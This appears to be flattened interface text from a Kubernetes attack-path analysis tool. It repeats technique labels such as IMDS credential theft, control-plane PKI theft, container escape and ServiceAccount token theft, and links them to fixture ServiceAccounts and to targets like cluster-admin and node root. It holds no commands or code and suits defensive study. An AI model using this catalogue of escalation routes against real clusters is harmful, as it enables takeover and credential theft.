verbs × wildcard resources Migrate pods onto an attacker node Control-plane PKI theft Migrate pods onto an attacker node Mint a token via a legacy Secret Wildcard verbs × wildcard resources Migrate pods onto an attacker node Control-plane PKI theft Migrate pods onto an attacker node Mint a token via a legacy Secret Secrets read access Steal node IAM role via IMDS Control-plane PKI theft Steal node IAM role via IMDS Static pod and SA signing-key abuse Steal node IAM role via IMDS TokenRequest minting Container escape to host Container escape to host Control-plane PKI theft Container escape to host Static pod and SA signing-key abuse Secrets read access Steal node IAM role via IMDS Control-plane PKI theft Steal node IAM role via IMDS Static pod and SA signing-key abuse Steal node IAM role via IMDS Pod exec → container takeover Pod exec → container takeover Implicit group membership Implicit group membership Secrets read access Steal node IAM role via IMDS Control-plane PKI theft Steal node IAM role via IMDS Static pod and SA signing-key abuse Steal node IAM role via IMDS APIService rewrite: serving an API group Steal node IAM role via IMDS Control-plane PKI theft Steal node IAM role via IMDS Static pod and SA signing-key abuse Steal node IAM role via IMDS Control-plane backend hijack Control-plane PKI theft Control-plane backend hijack Control-plane backend hijack Static pod and SA signing-key abuse Service rewrite: re-pointing a Service EndpointSlice write: Service traffic steering Pod image swap: code injection into a running pod Secrets read access Steal node IAM role via IMDS Control-plane PKI theft Steal node IAM role via IMDS Static pod and SA signing-key abuse Steal node IAM role via IMDS Steal node IAM role via IMDS Control-plane PKI theft Steal node IAM role via IMDS Static pod and SA signing-key abuse Steal node IAM role via IMDS Bootstrap token minting Create a privileged pod and escape to the node Control-plane PKI theft Create a privileged pod and escape to the node Create a privileged pod and escape to the node Static pod and SA signing-key abuse Steal node IAM role via IMDS Control-plane PKI theft Steal node IAM role via IMDS Static pod and SA signing-key abuse Steal node IAM role via IMDS Steal node IAM role via IMDS Control-plane PKI theft Steal node IAM role via IMDS Static pod and SA signing-key abuse Steal node IAM role via IMDS Steal node IAM role via IMDS Control-plane PKI theft Steal node IAM role via IMDS Static pod and SA signing-key abuse Steal node IAM role via IMDS MutatingAdmissionPolicy injection Control-plane PKI theft MutatingAdmissionPolicy injection MutatingAdmissionPolicy injection Static pod and SA signing-key abuse Steal node IAM role via IMDS Control-plane PKI theft Steal node IAM role via IMDS Static pod and SA signing-key abuse Steal node IAM role via IMDS Kubelet CSR auto-approval: a node identity for any name Kubelet CSR auto-approval: a node identity for any name Kubelet CSR auto-approval: a node identity for any name Kubelet CSR auto-approval: a node identity for any name Kubelet CSR auto-approval: a node identity for any name Kubelet CSR auto-approval: a node identity for any name Kubelet CSR auto-approval: a node identity for any name Kubelet CSR auto-approval: a node identity for any name Kubelet CSR auto-approval: a node identity for any name Node authorizer: token request for a node's pods Node authorizer: token request for a node's pods Node authorizer: token request for a node's pods Node authorizer: token request for a node's pods Node authorizer: token request for a node's pods Bootstrap token minting Bootstrap token minting Bootstrap token minting Bootstrap token minting Bootstrap token minting Bootstrap token minting Bootstrap token minting Bootstrap token minting Bootstrap token minting Node authorizer: token request for a node's pods Node authorizer: token request for a node's pods Node authorizer: token request for a node's pods Node authorizer: token request for a node's pods Node authorizer: token request for a node's pods Ephemeral container injection Ephemeral container injection Ephemeral container injection Ephemeral container injection Ephemeral container injection Ephemeral container injection Migrate pods onto an attacker node Control-plane PKI theft Migrate pods onto an attacker node Migrate pods onto an attacker node Static pod and SA signing-key abuse Create a privileged pod and escape to the node Control-plane PKI theft Create a privileged pod and escape to the node Pod creation → ServiceAccount token theft Pod creation → ServiceAccount token theft Pod exec → container takeover Pod exec → container takeover Pod exec → container takeover Pod exec → container takeover Pod exec → container takeover Pod exec → container takeover Bootstrap token minting Bootstrap token minting Secrets read access Bootstrap token minting Bootstrap token minting Bootstrap token minting Bootstrap token minting Mint a token via a legacy Secret Bootstrap token minting Node authorizer: token request for a node's pods Node authorizer: token request for a node's pods Node authorizer: token request for a node's pods Node authorizer: token request for a node's pods Secrets read access Container escape to host Container escape to host Control-plane PKI theft Container escape to host Static pod and SA signing-key abuse Container escape to host Container escape to host Control-plane PKI theft Container escape to host Static pod and SA signing-key abuse Pod Security Admission label flip Control-plane PKI theft Pod Security Admission label flip Pod Security Admission label flip Static pod and SA signing-key abuse Steal node IAM role via IMDS Control-plane PKI theft Steal node IAM role via IMDS Static pod and SA signing-key abuse Steal node IAM role via IMDS RBAC bind/escalate bypass Wildcard verbs × wildcard resources Migrate pods onto an attacker node Control-plane PKI theft Migrate pods onto an attacker node Mint a token via a legacy Secret RBAC impersonation Steal node IAM role via IMDS Impersonation of system:masters Static pod and SA signing-key abuse Steal node IAM role via IMDS nodes/proxy → kubelet API Control-plane PKI theft nodes/proxy → kubelet API Static pod and SA signing-key abuse nodes/proxy → kubelet API Create a privileged pod and escape to the node Pod creation → ServiceAccount token theft Pod creation → ServiceAccount token theft Pod creation → ServiceAccount token theft Pod creation → ServiceAccount token theft Pod creation → ServiceAccount token theft Pod creation → ServiceAccount token theft Pod creation → ServiceAccount token theft Pod creation → ServiceAccount token theft Pod creation → ServiceAccount token theft Pod creation → ServiceAccount token theft RoleBinding write access plus bind Mint a token for any ServiceAccount TokenRequest minting TokenRequest minting TokenRequest minting TokenRequest minting TokenRequest minting TokenRequest minting TokenRequest minting TokenRequest minting TokenRequest minting TokenRequest minting Wildcard verbs × wildcard resources Migrate pods onto an attacker node Control-plane PKI theft Migrate pods onto an attacker node Mint a token via a legacy Secret Privileged workload → node escape Workload creation → ServiceAccount token theft Workload creation → ServiceAccount token theft Workload creation → ServiceAccount token theft Workload creation → ServiceAccount token theft Workload creation → ServiceAccount token theft Workload creation → ServiceAccount token theft Workload creation → ServiceAccount token theft Workload creation → ServiceAccount token theft Workload creation → ServiceAccount token theft Workload creation → ServiceAccount token theft RoleBinding write access plus bind Steal node IAM role via IMDS Control-plane PKI theft Steal node IAM role via IMDS Static pod and SA signing-key abuse Steal node IAM role via IMDS Steal node IAM role via IMDS Control-plane PKI theft Steal node IAM role via IMDS Static pod and SA signing-key abuse Steal node IAM role via IMDS Pod status rewrite: Service traffic redirection Container escape to host Container escape to host Control-plane PKI theft Container escape to host Static pod and SA signing-key abuse Secrets read access Create a privileged pod and escape to the node Pod creation → ServiceAccount token theft Pod creation → ServiceAccount token theft Pod creation → ServiceAccount token theft Pod creation → ServiceAccount token theft Pod creation → ServiceAccount token theft Pod creation → ServiceAccount token theft Pod creation → ServiceAccount token theft Pod creation → ServiceAccount token theft Pod creation → ServiceAccount token theft AWS IAM principal granted cluster-admin via aws-auth Workload creation → ServiceAccount token theft Workload creation → ServiceAccount token theft Workload template rewrite Workload template rewrite apisvc-installerServiceAccount · hookback… cross-ns-readerServiceAccount · secrets-… cutres-doublebindServiceAccount · cutres cutres-parallelServiceAccount · cutres defaultServiceAccount · containe… defaultServiceAccount · flat-net… defaultServiceAccount · gw-groups defaultServiceAccount · hookback… defaultServiceAccount · ingress-… defaultServiceAccount · netpol-i… defaultServiceAccount · psa-supp… defaultServiceAccount · statussp… defaultServiceAccount · vulnerab… eks-token-minterServiceAccount · cloud-ek… foothold-execerServiceAccount · foothold… foothold-minterServiceAccount · foothold… foothold-named-execerServiceAccount · foothold… gw-deployerUser gw-memberServiceAccount · gw-groups gw-patcherUser hookbackend-slicerServiceAccount · hookback… imgswap-patcherServiceAccount · imgswap-… kustomize-controllerServiceAccount · flux-sys… local-path-provisioner-…ServiceAccount · local-pa… nodeid-joinerServiceAccount · nodeid-f… nodeid-tokenwriterServiceAccount · nodeid-f… privileged-readerServiceAccount · vulnerab… psaflip-flipperServiceAccount · psaflip-… sa-bind-escalateServiceAccount · rbac-fix… sa-cluster-adminServiceAccount · rbac-fix… sa-csr-signServiceAccount · csr-fixt… sa-impersonateServiceAccount · rbac-fix… sa-lp-narrowServiceAccount · lp-fixtu… sa-lp-orphanServiceAccount · lp-fixtu… sa-lp-wildcardServiceAccount · lp-fixtu… sa-mutating-policyServiceAccount · map-fixt… sa-node-migrateServiceAccount · privesc-… sa-nodes-proxyServiceAccount · rbac-fix… sa-pod-create-escapeServiceAccount · privesc-… sa-pod-execServiceAccount · privesc-… sa-psa-unlabeledServiceAccount · psa-unla… sa-pv-hostpathServiceAccount · pv-hostp… sa-rolebinding-mutateServiceAccount · rbac-fix… sa-secret-readServiceAccount · privesc-… sa-token-createServiceAccount · rbac-fix… sa-wildcardServiceAccount · rbac-fix… sa-workload-mutateServiceAccount · rbac-fix… statusspoof-writerServiceAccount · statussp… foothold-privServiceAccount · foothold… foothold-quietServiceAccount · foothold… gw-powerfulServiceAccount · gw-workl… gw-web-saServiceAccount · gw-workl… imgswap-readerServiceAccount · imgswap-… sa-ephemeralServiceAccount · privesc-… sa-secret-mintServiceAccount · privesc-… system:serviceaccounts:…Group defaultServiceAccount · cloud-ek… foothold-decoy-saServiceAccount · foothold… sa-pod-createServiceAccount · rbac-fix… cert-managerServiceAccount · cert-man… cutres-detourServiceAccount · cutres deepchain-binderServiceAccount · deepchai… eks-admin-irsaServiceAccount · cloud-ek… foothold-readerServiceAccount · foothold… generic-garbage-collect…ServiceAccount · kube-sys… hookbackend-operatorServiceAccount · hookback… imp-irsaServiceAccount · cloud-ek… sa-csr-mintServiceAccount · csr-fixt… sa-ns-rolebinding-mutateServiceAccount · rbac-ns-… arn:aws:iam::1234567890…User arn:aws:iam::1234567890…User deepchain-privilegedServiceAccount · deepchai… cluster-admin the system:masters group kube-system secrets node root (container es… namespace-admin minted service-account … aws iam role node identity traffic intercept